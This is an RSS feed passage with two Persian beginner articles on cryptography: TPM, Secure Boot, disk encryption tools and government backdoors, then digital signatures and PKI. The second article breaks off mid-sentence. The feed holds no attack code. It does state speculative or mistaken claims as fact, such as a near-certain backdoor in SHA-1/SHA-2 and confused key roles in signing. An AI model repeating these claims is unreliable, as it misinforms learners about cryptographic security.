                <pubDate>Tue, 17 Oct 2023 12:24:01 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی : رمزنگاری سخت افزاری و خطرات دولت ها</title>
                <link>https://virgool.io/b-crypto/crypto8-pgi1y6tjidft</link>
                <description>رمزنگاری مقدماتی به زبان ساده : رمزنگاری سخت افزاری ، درب های مخفی دولت ها در الگریتم های رمزنگاریدر این مقاله میخوایم به این بپردازیم که الگریتم های سخت افزار آیا توشون درب پشتی هست یا نه ، چرا باید هر کشوری الگریتم خودشو داشته باشه و رمزنگاری سخت افزاری چیه ..TPM : عکس 1چون محاسبات رمزنگاری خیلی سخته ، امدن توی کامپیوتر یه پردازشگر جدا براش در نظر گرفتن ، با این کار وقتی شما محاسبات و کار های رمزنگاری انجام میدید هیچ تاثیری روی سرعت و عملکرد سیستمتون نمیذاره ، از طرفی آمدن گفتن ما بیاییم یه جای امنی هم برای ذخیره کلید های رمزنگاری درنظر بگیریم ، آمدن یه چیپ سخت افزاری ساختن و اسمشو گذاشتن HSM ، بعد توی کار های مختلف ازش استفاده کردن ، مثلا توی دستگاه های POS ، یا فلش (توکن) های سخت افزاری که شما به سیستم میزنی و باهاش احراز هویت میکنی و... حالا امدن برای کامپیوتر یه HSM طراحی کردن به اسم TPM که توش سه تا بخش داره و دوتا کار انجام میده ، یکی محاسبات رمزنگاری ، دوم ذخیره کلید های متفاوت ، من یکم وارد جزئیات TPM میشم چون هم تو این مقاله هم بعدا خیلی باهاش کار داریم:TPM ساخته شده که پردازش های رمزنگاری رو انجام بده و بار این محاسبات سنگین ریاضی رو از دوش CPU برداره و در نهایت نتیجه رو به CPU گزارش بده ، درضمن کلید های خاصیم تو خودش نگه میدارهحافظه داخل هر TPM تمامی پسورد هارو داخل خودش نگه میداره و مثل RAM با قطع برق دیتا رو از دست نمیدهدر هر دستگاه ، اگر TPM نباشه و شما صرفا روی سیستم عاملتون رمز گذاشته باشید ، با خروج HDD/SSD و اتصال اون به کامپیوتر دیگه ، بدون پسورد میشه به اطلاعات دسترسی پیدا کرد ، ولی اگر TPM باشه ، ما HDD/SSD رو کامل رمز میکنیم و چون این کارو با TPM انجام میدیم ، برای باز شدن اون رمز باید حتما با همون TPM ای که رمز شده ، رمزش باز بشه ، یعنی اگر شما هارد رو برداری ببری یک سیستم دیگه چون TPM رو نبردی ، عملا رمز رو هم بدونی نمیتونی بازش کنی !تو کجاها HSM استفاده میشه ؟ دستگاه POS-ATM ، توی سرور یا حتی سیستم خودمون برای پردازش فرایند برقراری ارتباط SSL، برای امضا فایل های Zone بزرگ در سرور ها توی بحث DNS SEC ،برای توکن یا فلش های سخت افزاری که کلید عمومی توشه و ...اجزای حافظه TPM : EK : اگر به عکس 1 نگاه کنید ما یه EK داریم که از نوع حافظه ثابته ، یعنی یک کار بیشتر نداره و از اول ساخت اون TPM تا اخر عمرش دیتاش عوض نمیشه ، کلید به نظرتون چیه ؟ یک جفت کلید نامتقارن RSA که قابل دسترسی توسط نرم افزارم نیست و برای Attestation مورد استفاده قرار میگیره و اعتبار سنجی خود چیپ TPM که جلوتر میگم یعنی چیSRK : این بخش یه Wrapper هست اصطلاحا (وقتی میگیم Wrapper یعنی یه چیزی دور یه چیزی رو میپیچه و میپوشونه ، یعنی یه لایه اضافه تر، اینجا منظورمون رمز کردن کلید هاست) ، وظیفشم اینه که میاد از تمام کلید هایی که توی TPM ذخیره شدن محافظت میکنه ، یعنی اون هارو Encrypt میکنه با کلیدی که خود TPM داره و مطمئنه که کلید هایی که توی TPM ذخیره شده ، رمز شدن PCR : این بخش برای بحث Attestation  و Secure Boot استفاده میشه ، درواقع میاد موقع فرایند بوت سیستم با گرفتن Hash اون Integrity یا صحت رو بررسی کنه و تمامی حالات رو توی خودش ذخیره میکنه که بعدا توی فرایند Attestation گزارش بفرسته یه جا ، حالا اینو توی Secure Boot جلوتر بررسی میکنم ولی بدونید تو این قسمت از TPM این فرایند انجام میشه AIK : این هم یه بخشه که یه کلید داره و برای فرایند Attestation استفاده میشه و موقع ارسال گزارش ، توسط کلید های این بخش ، گزارش امضا میشه که ثابت بشه از جای مطمئنی امده و تغییرم نکرده (امضای دیجیتال که یادتونه؟) (این موردم جلوتر بهش میرسیم)Storage Keys : این بخش هم برای ذخیره عمومی کلید های رمزنگاری که توسط سیستم عامل یا خود TPM ساخته میشن استفاده میشه ، درواقع کلید ها اینجا نگهداری میشن  و بعدا توی هر فرایند رمزنگاری ای که نیاز باشه از این جا خونده میشن ، لازمه به یاداوریه که از این کلید ها توسط محافظ میشه ، توسط ؟ (SRK) مختصری درمورد نحوه کار کرد کامپیوتر و فرایند بوت سیستم عامل(بیشتر ویندوز) : ما توی کامپیوتر یک سری ورودی داریم و یک سری خروجی ، ورودی که از موس و کیبرد گرفته تا USB و... و خروجی هم میشه مانیتور و.. ، وقتی ما توی کامپیوتر یک ورودی ای رو میخوایم پردازش کنیم ، میبریمش روی RAM ، به RAM میگن حافظه اولیه ، CPU میاد و داده رو از توی RAM میخونه و پردازش میکنه ، اگر کارش تموم شد و خواست از بین ببردشون که هیچی ، اگر خواست ذخیرشون کنه میبرشون روی هارد (HDD/SSD) که بهش میگن حافظه ثانویه، داده هایی که توی حافظه ثانویه قرار میگیره میتونه رمز باشه ، ولی اگر داده ای روی حافظه اولیه بخواد توسط CPU پردازش بشه باید رمزگشایی بشه وگر نه CPU نمیفهمش ، اینو تو ذهنتون داشته باشید فرایند بوت ویندوز : وقتی ما دکمه روشن شدن کامپیوترمونو میزنیم ، برق که میاد توش میره تو مادر برد ، بعد ROM ما میاد و شروع میکنه به کار و قطعات رو شناسایی میکنه و برنامه Boot Manager رو اجرا میکنه که توی خودشه، و اون میاد از حافظه ثانویه دیتای سیستم عامل رو میخونه ، وقتی خوند میاد Windows Loader (Windows Boot Loader) رو اجرا میکنه (میره تو RAM توسط CPU) ، در نهایت هسته ویندوز کامل لود میشه، و درایور های مهم ویندوز هم بالا میان و در نهایت صفحه گرافیکی بالا میاد Computer Starts -&gt; Firmware Load up (ROM) -&gt; Boot Manager starts -&gt; Windows loader starts - &gt; Windows Kernel Begins -&gt; Windows Critical Drivers Beginیه تیکه گفتم ROM ، این چی هست؟ وقتی کامپیوتر رو روشن میکنید یه برنامه ای باید باشه که سخت افزار هارو بشناسه و سیستم عامل رو بیاره بالا ، بهش میگن ROM ، خیلیا تو دسته حافظه اولیه درنظرش میگیرن ولی حافظه نیست ، یعنی هست ها ولی قابل خوندنه فقط ، به برنامه ای که روی ROM هست میگن Firmware ، زیاد اینجا واردش نمیشم؛ قدیم اسم برنامش BIOS بود ، صفحه آبی رنگی داشت معمولا و جدیدا یه چیز گرافیکی قشنگ ساختن به اسم UEFI ، اینکه تکنولوژی ها و ساختار هاشون فرق کرده جای بحث داره ولی خودتون سرچ بزنید و تفاوتشو بخونید ، اینجا بحث امنیتشو میخوایم بگیم ، از لحاظ امنیتی اگر کسی به کامپیوترتون دسترسی میگرفت و توی BIOS میگفت بجای سیستم عامل اصلی بیا این رو اجرا کن ، راحت اجرا میکرد ، حالا آمدن این مشکلو تو UEFI حل کردن حالا که این دانش رو دارید بریم سراغ نکات امنیتی و استفاده از این هاSecure Boot :وقتی ما میخوایم امنیت رو بررسی کنیم همیشه اول از لایه سخت افزاری شروع میکنیم، بعد میریم سراغ لایه مجازی ساز (اگر باشه، مثلا تو سرور هست) بعد میرسیم به سیستم عامل و ...این یعنی چی؟ یعنی هرچی شما موفق تر باشی در گرفتن کنترل از بالاسری، پایینیا عملا هیچکاری نمیتونن بکنن، یعنی اگر شما دسترسی فیزیکی بگیری به یه کامپیوتری، عملا همه چی بر فناست، حالا اگر سرور باشه و شما مجازی سازو بزنی که باز همین سناریو، در غیر این صورت اگر سیستم عامل به صورت معمولی نصب باشه شما دیگه درگیر سیستم عامل میشی(هسته و درایورا و..) که نمیخوایم زیاد به این بحث بپردازیماگر سیستم شما موقع فرایند بوت، بجای سیستم عامل اصلی سیستم عامل دیگه ای لود کنه چه اتفاقی پیش میاد؟ قبل ادامه اگر نمیدونید BIOS یا UEFI چیه سرچ کنید و درباره تفاوتاشون بخونید، توی BIOS ما این مشکل رو داشتیم که اجازه میداد برای بوت شما سیستم عامل دیگه ای انتخاب کنی بجز سیستم عامل اصلی، ولی توی UEFI امدن امن ترش کردن و گفتن ما اگر کاربر تنظیماتو بزاره رو حالت امن نمیزاریم که سیستم عامل دیگه ای انتخاب کنه، و موقع فرایند بوت میاد از بوت لودر، هسته سیستم عامل و درایوراش و ... هش میگیره و مقایسه میکنه با دیتابیس خودش، اگر منطبق بود اجازه میده که سیستم عامل به کارش ادامه بده، اگر نبود ارور میده و وقتی هم که چک کرد میاد یه گزارش میفرسته به یه سروری و میگه که سیستم عامل سالم و اوکی بود یا نهعکس 2به این فرایندی که گفتم میگن Secure Boot که قابلیتیه که توسط UFEI معرفی شده و فقط هم برای ویندوز کار میکنه و دیسترو های معتبر و تایید شده از لینوکس که محدودن و نه هیچ سیستم عامل دیگه ای، حتی Dual Boot هم بزنید و هردو سیستم عامل معتبر نباشن کار نمیکنه (اکثر مواقع بیشتر با ویندوز اوکیه) !به فرایند گزارش فرستادنه هم میگن Attestation و برای سازمان های بزرگ با پنل MDM که نیاز نیست بدونید چیه، مدیریت میشه لازم به یاداوری که کل این فرایند با TPM انجام میده و مثلا قسمت PCR و AIK ای که گفتم بالا تر توی این فرایند با UEFI درگیره و CPU میاد مقادیرو چک میکنه و... ولی نیاز نیست وارد جزئیات بشیم چون شما قراره دید داشته باشید، در سری پیشرفته اگر وقت شد عمیق تر واردش میشیمHardware Encryption : این قسمت چیز زیاد پیچیده ای نداره، برای ذخیره کردن اطلاعات روی هارد به صورت امن ما دوتا راه داریم، یا دیتا رو امن ذخیره کنیم، یا کل دیسک رو رمز کنیم؛ طبیعتا ایده اول سریعه ولی برای یه فایله، ولی دومی زمان بیشتری نیاز داره ولی کلا دیگه از اون به بعد راحت تر و امن تر میتونید فایل هارو ذخیره کنیدبرای رمزکردن یک فایل که توی قسمت متقارن AES crypt رو معرفی کردم، اما برای هارد دیسک ما باید کل Hard رو رمز کنیم، به این کار میگن Full Disk Encryption اگر ما این کارو نکنیم روی هاردمون و فکر کنیم پسورد سیستم عامل کافیه، اگر یکی هارد رو دربیاره و بزنه سیستم خودش کار تمومه، اما یکی از برنامه هایی که برامون FDE انجام میده در ویندوز اسمش BitLocker هست که پایین تر معرفیش میکنم، همونطور که از اسمش پیداست میاد و تک به تک بیت های حافظه رو رمز میکنه و بسیار هم گودرتمنده ?لازم به ذکره که موقع FDE، سیستم عامل از HSM ما استفاده میکنه (همون TPM) و بدون اون TPM اگر ما هاردو برداریم ببریم یه جا دیگه، حتی اگر پسورد رو هم بدونیم نمیتونیم بازش کنیم یه مفهوم دیگه هم هست به اسم Self Encrypting Drives که این ها هاردهایی هستن که خودشون خودشونو قفل میکنن، عملیات رمزنگاری و رمزگشایی توسط یه چپ توی خود هارد انجام میشه، همینارو بدونید کفایت میکنهنکته : ما یه حوزه جدا داریم به اسم Trusted Computing و این کلا اساس و پایش TPM هست، اگر خواستید توی این زمینه بیشتر کار کنید به بنده پیام بدیدمعرفی ابزار :ابزار های زیادی برای بحث رمزنگاری دیسک هست که من اینجا یه سری رو معرفی و توضیح میدم : رمزنگاری سمت ویندوز(BitLocker) : همونطور که بالاتر گفتم BitLocker یک ابزار full disk encryption هست و برای رمزنگاری کل حافظه میتونه استفاده بشه (چه Internal چه External) ، کارکردن باهاش راحته و تو نت سرچ کنید آموزشش هست ، فقط چند تا نکته بگم : این ابزار مختص ویندوزه و روی بقیه دستگاه ها جواب گو نیست (یعنی اصلا دیتا رو نمیتونید ببینید چه برسه به اینکه بخواید رمز کنید و از ابزار استفاده کنیداز چندین مکانیزم احراز هویت استفاده میکنه ، پسورد ، USB و..میتونه از کل دیسک محافظت کنه ، یعنی کل دیسک رمز میشهباهاش میشه درایو C که ویندوز روشه رو هم رمز کرد که موقع بوت میاد و از این درایو محافظت میکنه و قبل لود سیستم عامل پسورد میگیره ازتون که ویژگی خیلی عالی برای محافظت از سیستم عامل و دورشم نمیشه زد !اخرش بهتون کلید ریکاوری میده که اگر رمزتون رو گم کردید بدبخت نشیدرمزنگاری کراس پلتفورم(VeraCrypt) : این ابزار بسیار خفنه و برای هر سه سیستم عامل ویندوز ، مک و لینوکس قابل استفادس ، رمزنگاری امنی داره و دقیقا مثل BitLocker عه ، و دقیقا مثل همون از چند تا مکانیزم احراز استفاده میکنه ، و دوتا قابلیت جالبم داره : مثل Bitlocker قابلیت کلید ریکاوری داره که اگر رمز یادتون رفت بیچاره نشید قابلیت ساخت Hidden Volume داره که خیلی تو بحث اختفا بدرد میخوره که انشالله در مقاله مربوطه بهش میپردازم :)ابزار رمزنگاری سمت کلود و کلاینت(cryptomator) : یه ابزار هست به اسم cryptomator که هم رایگانه هم هم کراس پلتفرمه هم بسیار قویه و ایده جالبی داره ، وقتی شما دیتا تون رو توی کلود میخواید به صورت امن ذخیره کنید ولی به Cloud Provider اطمینان ندارید یا دوست ندارید کلید دست اون ها باشه یا احتمال میدید کلید لیک بشه ، میایید و از این ابزار استفاده میکنید ، با این ابزار میایید و یه مکان توی کامپیوتر شما یا توی کلود شما (بیشتر افراد برای کلود استفاده میکنن) انتخاب میکنید و اونجا این ابزار یه پوشه میسازه و خودش صداش میزنه Vault و میاد از شما پسورد میخواد ، حالا وقتی شما میخواید داخل اون پوشه فایل قرار بدید میاد و با پسورد شما اون رو رمز میکنه ، اینطوری فایل هم در مسیر و هم موقع ذخیره شدن امنه و کل فرایند رمزنگاری و ذخیره کلید توی کامپیوتر شما اتفاق افتاده :)  https://cryptomator.org/ Memory Protection : اگر خاطرتون باشه گفتم بالاتر که توی Memory دیتا نباید رمز شده باشه ، یعنی شما هر نوع دیتایی رو بخوای بدی به CPU برای پردازش ، راه نداره که جز Plain Text باشه ، یعنی شما باج افزار های قدیمی که از کلید Symmetric استفاده میکردنم ریورز کنی میرسی به اینکه در نهایت این کلید تو مموری هست، حالا اینتل آمده یه تکنولوژی معرفی کرده به اسم SGX که یه حافظه است داخل CPU و توش دیتاها به صورت امن ذخیره میشه تا اگر یه برنامه ای API های SGX استفاده کرد بتونه دیتاش رو امن ذخیره کنه ، یه آسیب پذیری ای کشف شده به نام SGAxe که برمبنای CacheOut هست که اونم بر مبنای Meltdown هست ، کاری به این اسما ندارم ، فقط خواستم SGX رو معرفی کنم و بگم براش حمله هم آمده و بحث رمزنگاری داخل خود CPU چقد مهمه ، اهمیت این SGX بخاطر اینه که اگر ما تا لایه CPU نتونیم بریم جلو ، به دیتاهای SGX نمیتونیم برسیم ! و این SGX چون تو لایه سخت افزاره خیلی امنه و میدونید که لایه های پایین (سیستم عامل و نرم افزار و ..) اگر مورد نفوذ واقع بشن ، باز دیتا توی SGX ذخیره شده و محفوظه https://cacheoutattack.com/ حالا وقتش رسیده برسیم به تکنولوژی های جدید Intel و AMD که وظیفه محافظت از مموری رو دارن: مکانیزم کاری یکیه ، من مال AMD رو توضیح میدم :عکس 3توی عکس 3 ما یه ساختار داریم که به این صورته که ما یه پردازشگر داخل خود CPU داریم جدا برای رمزکردن دیتای داخل مموری ، از اونور ما یه سری کنترلر داریم که CPU وقتی میخواد داده ای بریزه توی رم میفرستش به این کنترلر ها که خیلی ساده میان و داده رو رمز میکنن با الگریتم AES و ذخیره میکنن توی RAM ، موقع خوندن هم دیتا به همین صورت باز میشه و در اختیار CPU قرار میگیره ، کلیدیم که باهاش رمز میکنن توی هر بار روشن شدن کامپیوتر به صورت رندوم توسط همون پردازشگری که جدا توی CPU مختص رمزنگاری گذاشته شده که اشاره کردم ساخته میشه ؛ این تکنولوژی برای AMD اسمش SME هست و برای INTEL اسمش TME هست یک سری نشتی بین TPM و CPU هم ممکنه رخ بده که برای جلوگیری از این ، ماکروسافت امده با همکاری چندین شرکت سازنده پردازشگر ، یه پردازشگر ساخته به اسم Pluton که که وظیفش اینه که بیاد توی راه (Bus) ای که بین TPM و CPU هست قرار بگیره و اگر اونجا قراره حمله ای اتفاق بیفته جلوشو بگیرهتو این قسمت ها اگر زیاد نحوه کارکرد مکانیزم هارو درک نکردید مشکلی نیست ، صرفا میخواستم با مفاهیم آشنا بشید تا حدودی و اسامی به گوشتون خورده باشه که بعدا اگر جایی شنیدید یا مقاله ای راجبش نوشته شد براتون نا آشنا نباشه و پیش زمینه داشته باشید، درک کامل و کشف آسیب پذیری از اینا کار رمزنگارای حرفه ایه ;) کلید ریکاوری و بکدور : چیزی که اگر توی دنیای امنیت باشید میدونید اینه که ما یه مفهومی داریم به نام بکدور و این مفهوم هم غیرقانونی میتونه استفاده بشه هم قانونی ، وقتی دولت استفاده میکنه میشه قانونی (مثلا ماکروسافت توی ویندوز بکدور میزاره که موقعی که اپدیت خواست نصب بشه روی هسته بتونه کارشو انجام بده) یا وقتی مهاجم یه سایتی رو میزنه بکدور میزاره که اگر راه نفوذشو بستن بتونه مجدد دسترسی بگیره ، ما توی بحث رمزنگاری هم همین موردو داریم ، توی الگریتم ها توسط دولت ها بکدور گذاشته میشه که بتونن اگر یک موقع نیاز داشتن یک Cipher Text رو بدون کلید باز کنن (کاربر های نظامی و سیاسی و امنیت ملی داره) از همین رو توی مطلب بعدی اشاره میکنم که برای چرا برای بحث نظامی و امنیت ملی باید هر کشور الگریتم خودشو طراحی کنه، ولی بدونید که اگر الگریتمی ساخته میشه توسط دولت(مثل SHA1-SHA2 و..) (و نه توسط عموم مثل SHA3) احتمال 99 درصد حتما یه روشی دولت گذاشته توش یا داره که بتونه در زمانی که نیاز بود اون الگریتم رو بشکنه ، بهش Recovery Agent میگن، Key Escrow میگن، Backdoor هم میگن ، حالا اینکه دولت آمریکا امده یه زمان یه چیپ براش طراحی کرده و شکست خورده بماند، و این هم بماند که ساخت الگریتم به شیوه ای که با یه کلید دیگه بجز کلیدی که باید ، بتونه باز بشه هم باعث ضعف الگریتم ممکنه بشه و طراحی اون الگریتم باید خیلی اصولی باشه ، که بجز کار کردن با یک جفت کلید متقارن یا نامتقارن ، با یک کلید هم به صورت بی قید و شرط باز بشه ! فکر کنید که Privacy هم به خطر میفته دیگه ! اول مقاله گفتم که هکر ها هم میتونن با رمزنگاری کارایی که کردن رو مخفی کنن و امن بمونن ، حالا دولت ها آمدن گفتن که نه ما میخوایم امکان ریکاوری بزاریم برای کاربر ها که اگر کلیدشون یادشون رفت بتونن به محتوا بازم دسترسی بگیرن .. اگر میگید Recovery که چیز خوبیه باید بهتون بگم که این مورد بهانه ایه که اگر کاربر رمزشو فراموش کرد قابلیتی داشته باشه که بتونه متنشو باز کنه ، ولی درواقع با این موضوع امدن و مکانیزم بکدور خودشونو پیاده سازی کردن :)الگریتم های نظامی و تجاری :توی بحث الگریتم های رمزنگاری ما دونوع الگریتم رمزنگاری داریم :الگریتم های رمزنگاری استاندارد : چیز هایی که تا الان راجبش صحبت کردیمالگریتم های رمزنگاری نظامی : این ها عموما کاربرد نظامی دارن و در دسترس عموم نیستنتا حالا صحبت کردیم که دولت ها هر کدوم توی الگریتم های خودشون یک بکدور میگذارند و چراییشم گفتیم ، و از این جهت هر کشور باید به فکر ساخت الگریتم رمزنگاری خودش باشه که از دیتاش محافظت کنه دربرابر سایر کشور های دیگه ! یعنی این حرفی که میزنم برای تمام کشور ها بدون استثنا صادقه حساس ترین صنایع هم برای هر کشور صنایع نظامی اونه ، فرض کنید موشک میخواید شلیک کنید یا اصلا بشنوید کجا و کی میخواد شلیک بشه یا حتی مکالمه های برج مراقبت رو اگر شما بشنوید با هواپیما های جنگی خیلی ممکنه به ضرر اون کشور تموم بشه سر همین آمدن یه سری الگریتم هایی ساختن مختص موارد نظامی و حساس و این هارو برای استفاده های نظامی قرار دادن ، این الگریتم ها ذاتشون رو هیچکس نمیدونه ، لزوما عالی و فوق امن نیستن ( و صد در صد توشون مشکل هست) ولی چون مخفین و به شدت ازشون محافظت میشه امکان بررسی این ها وجود نداره توی الگریتم های استاندارد سرعت یا ( Performance) براشون خیلی مهمه (Bulk Data Transfer ای که گفتم اگر یادتون باشه) ولی تو این ها مهم نیست ، چون نه حجم دیتای زیادی میخواد ردو بدل بشه ، نه سرعت مهم تر از امنیته ، در اینجا امنیت کلا زورش میچربه به سرعت و کارایی از طرفی برای رمزکردن یا رمزگشایی با این الگریتم ها حتما از دستگاه های سخت افزاری هم استفاده میکنن و این باعث میشه اگر سخت افزار نباشه هیچ تحلیلی نتونه صورت بگیره و به این طریق بسیار از نشت الگریتم جلوگیری میکنن ، ایرانم یک سری الگریتم رمزنگاری خاص خودشو داره مثل فجر 1 ، فجر 2 ، میثاق 1  و..این مفاهیمی که گفتم شاید درکش نکرده باشید ، اگر بعد دوبار خوندن مقاله باز ابهام بود ، راحت باشید و بپرسید :)در مقاله بعدی سراغ ریاضیات مختص رمزنگاری و شرح کارکرد الگریتم های RSA و DH میریم ، هرسوالی بود در خدمتم، یاعلی :)</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Fri, 25 Aug 2023 11:39:47 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی : امضا و گواهینامه دیجیتال</title>
                <link>https://virgool.io/b-crypto/crypto7-evnmhobsuvjy</link>
                <description>رمزنگاری مقدماتی به زبان ساده : امضا دیجیتال و گواهینامه دیجیتالدر این مقاله اول به بررسی مفهوم امضای دیجیتال میرسیم و بعد به اساس چگونه امن کردن اینترنت و دادن گواهی نامه دیجیتال میپردازیم :امضای دیجیتال (Digital Signature) :امضای پیام یا امضای دیجیتال درواقع همون امضای دنیای واقعی خودمونه ولی توی دنیای کامپیوتر ما ازش استفاده میکنیم ، چه چیز هایی برای ما فراهم میکنه ؟ Integrity یا صحت پیام و Authentication یا همون اعتماد از اینکه فردی که داریم باهاش صحبت میکنیم واقعا همون فرد مد نظر ماست و شخص جعلی ای نیست!ما از دوتا الگریتم میتونیم برای امضای دیجیتال استفاده کنیم :RSA : ما توی مطلب قبلی گفتیم و اینجا هم جریان همونه ، اگر کسی با کلید خصوصیش یه پیامی رو رمز کنه و بفرسته و شما با کلید عمومی بتونی اونو رمزگشایی کنی ، یعنی این پیام واقعا از سمت طرف امده ، درواقع این یه نوع امضا حساب میشه ، چطوری شما وقتی به امضای یکی نگاه میکنی میگی اره این 99 درصد شبیه امضای فرده پس این از سمت خودشه؟ شما هم اگر با کلید عمومی طرف بتونی پیامشو رمز کنی یعنی طرف واقعا کلید خصوصیش دستش بوده و 100 درصد خودشه !DSA : (Digital Signature Algorithm(DSS))ما برای امضای دیجیتال کلا یه چیز جداگونه داریم که بهش میگن DSA یا DSS و با این هم ما امضا میگیریم از یه پیام هم امضا رو میتونیم اعتبار سنجی کنیم :امضای دیجیتال با RSA :اگر دقت کرده باشید گفتیم توی الگریتم نامتقارن که هم کنده هم دیتارو حجیم میکنه و اصلا نمیشه بیشتر از 470 بایت رو رمز کردو ... و با توجه به این ویژگی ها چطوری میاییم امضا میگیریم ؟ فکر کنید که ما چطوری میتونیم یه پیام رو کوچیکش کنیم و به یه چیزی تبدیلش کنیم که در عین حال که کوچیکه ولی مشخص باشه اون پیام ماست و تغییری توش ندیم ؟ بله هشعکس1علی اول از پیامش هش میگیره و اونو با کلید خصوصیش رمز میکنه که بهش میگیم امضا ، علی امضا و پیام رو برای زهرا میفرسته ، زهرا اول پیام رو با کلید عمومی علی باز میکنه و به یه هشی میرسه، بعد از پیام هش میگیره و جفت هش هارو مقایسه میکنه ، اگر یکی بودن که هیچ اگر نه یعنی یکی این وسط پیام رو تغییر داده (ما اینجا هدفمون Integrity هست و Authentication که مطمئن شیم طرف خودشه) ولی اینجا ما Confidentiality یا محرمانگی نداریم و ممکنه یه مهاجم این وسط باشه پیام رو بخونه !امضای دیجیتال با DSA :Signature Creation :INPUT : Message + Domain Parameters + Random Num + Private KeyOUTPUT: SignatureSignature Verification :INPUT : Message + Domain Parameters + Signature + Public KeyOUTPUT: True(1) or Flase(0)توی امضای دیجیتال ما دوتا فرایند داریم ، فرایند اول ساخت امضاعه و فرایند دوم اعتبار سنجی اون امضاعه ، در ساخت امضا ما چند تا ورودی داریم : پیام + یه مقدار اولیه برای شروع + یه مقدار رندوم + کلید خصوصی ، ترکیب این ها باهم میشه امضا یا Signature ، در قسمت اعتبارسنجی ما پیام رو وارد میکنیم ، مقدار اولیه ای که باهاش شروع کردیم ، امضا و کلید عمومی ، نتیجه یا 1 هست یا 0 (Boolean) یعنی یا امضا درسته و خودشه یا نیستنکته : دقت کنید که در DSA ما هیچ رمزنگاری یا رمزگشایی ای انجام ندادیم !امضا دیجیتال دوتا هدف رو برای ما به ارمغان میاره : Integrity و Authenticationدر RSA اگر پیام تغییر کنه ، هشی که گرفتیم موقع بازکردن با کلید خصوصی ارور میده و در DSA اگر پیام تغییر کنه، نتیجه اعتبار سنجی امضا 0 یا False برمیگردهحالا محتویاتی که توی Message داریم چی هست ؟1. در SSL Certificate ، درواقع Message همون محتوای خود مدرکه و ما داریم بررسی میکنیم که آیا محتوا این مدرک درسته یا نه (جلوتر میرسیم به بحث مدرک)2. در نرم افزار ما اگر برنامه ای رو امضا کنیم داریم محتوا Code اون برنامه رو امضا میکنیم ، درواقع داریم میگیم ما از محتوا نرم افزار نوشته شده مطلعیم و شماهم اعتبار سنجی کنید ببینید محتوا همونه یا نه (انتهای این مطلب با دوتاخبر و یه مثال این رو کامل بهتون توضیح میدم)3. ما هیچ وقت برای Bulk Data نمیاییم از امضا دیجیتال استفاده کنیم چون حجم پردازش دیتا خیلی زیاد میشه ، بجاش ما از MAC استفاده میکنیم برای امضای دیتاهای حجیم !نکته : اینجا علی پیام رو خالی ارسال کرده برای زهرا که بعدا وقتی امضا رو باز کردن و از پیامم هش گرفت مطمئن بشه پیام تغییر نکرده ، علی میتونست پیام رو هم با کلید خصوصی خودش یا کلید عمومی زهرا رمز کنه که پیام هم محرمانه منتقل بشه (اگر با کلید خصوصی خودش رمز میکرد ، وقتی زهرا پیام رو و امضا رو با کلید خصوصی علی باز میکنه ، از دوجا مطمئن میشه که این پیام واقعا از سمت علی آمده و تغییریم نکرده) خیلی ایـــــــــــزی :)Trust Model - PKI - Certificates :بحث اعتماد تو اینترنت وقتی مطرح شد ، همه گفتن چطوری اعتماد کنیم که این کلید عمومی برای فلانیه ؟ ما یه مفهومی داریم به نام WOT (Web Of Trust)عکس 2مثل زندگی روزمره و دنیای واقعی ما ، جریان اینطوریه که ی دختری ما داریم بالا وسط که صورتیه و یه دختر بنفش رو میشناسه ، دختر بنفشه فقط یه مرد زرد رو میشناسه ، مرد زرده یه دختر ابی و یه پسر بادمجونی رو میشناسه ، پسرک بادمجونی رنگ ما یه مرد قرمزو میشناسه که اونم دوتا مرد نارنجی و سبزو میشناسه ! این آدم ها وقتی هم دیگه رو میشناسن یعنی هویت اون رو تایید میکنن ، حالا بریم تو دنیای کامپیوتر ، هویت هر فرد کلید عمومیشه دیگه ؟ من اگر بخوام تاییدش کنم باید امضاش کنم دیگه ؟ تموم شد رفت ، هرکی وقتی کس دیگه ای رو میشناسه کلید عمومیشو امضا میکنه و یه لیست درست میکنن که آقا این افراد تو این سیستم شناسن و شما میتونید به این ها پیام بدید (به غیر این ها نمیتونید پیام بدید)فرض کنید چه سیستم افتضاحیه ، به کسی که نمیشناسید نمیتونید پیام بدیدکسی نمیتونه مدیریتش کنه و فرایند دستمیه و هر یوزر باید دانش فنی خوبی داشته باشه برای امضاافراد جدید نمیتونن به سادگی وارد بشنحالا این سیستمو آمدن گذاشتن کنار ولی یه سیستم مبتنی بر اون ساختن به اسم PKIقبلش بزارید یه مثال از دنیای واقعی بزنم که خوبتر درک کنید جریانو ، شما یه فرد 22 ساله هستید که توی جیبتون کارت بانکی ، کارت ملی ، گواهی نامه دارید ، یه پست برای شما امده و شما میرید اون رو تحویل بگیرید ، طرف میگه مدارک هویتی بده ، شما چه چیزی ارائه میدید؟ شما هر کارتی رو که همراه دارید اگر ارائه بدید تایید کننده هویتتونه ، اگر کارت ملی ارائه بدید یعنی هویتتون رو سازمان ثبت احوال تایید کرده ، اگر کارت بانکی بدید یعنی هویت تون رو بانک تایید کرده و اگر گواهی نامه بدید یعنی هویتتون رو پلیس تایید کرده ، شما به وسیله تاییدیه و اعتبار ثبت احوال ، بانک ، پلیس معتبر شناخته میشید ، یعنی چون اونا معتبرن و به شما اعتبار میدن ، شما هم معتبر شناخته میشید ، حــــالـادر دنیای اینترنت ما یه CA (Certificate Authority) داریم ، یه جاییه مثل سازمان ثبت احوال یا بانک یا پلیسی که گفتم ، یه شرکت معتبریه که همه میشناسنش و اعتبارش تایید شدس ، میرید اونجا و اون ازتون درخواست مدرک میکنه برای احراز هویتتون ، مثل بانک که میخواید کارت بگیرید ازتون مدارک هویتی میگیره ، وقتی احرازتون تکمیل شد ، CA ازتون کلید عمومی تونو میخواد که باید از طریق کانال امنی بهش منتقل کنید ، CA یه مدرک دیجیتالی یا Digital Certificate میسازه که اطلاعات هویتی شما و علی الخصوص کلید عمومیتون توشه ، بعد این مدرک توسط اون CA امضا میشه و بهتون داده میشه ، شما این مدرک رو هرکجا که ببرید (وقتی سایت دارید میتونید ازش استفاده کنید) ثابت میکنه که این فرد شمایید یا این سایت متعلق به شماست و معتبره ، کسیم بخواد اعتبار سنجی بکنه میاد از اون CA میپرسه که آیا این فرد واقعا واقعیه یا نهسوال : شما میگی مدرکت رو به همه بده و قابل دسترسم هست ، اگر کسی این مدرک رو برداره و بره ادعا کنه به بقیه که منم چی؟مشکلی پیش نمیاد چون نهایت کاری که اتفاق می افته اینه که یه پیام با کلید عمومی شما رمز میشه که چون فقط شما 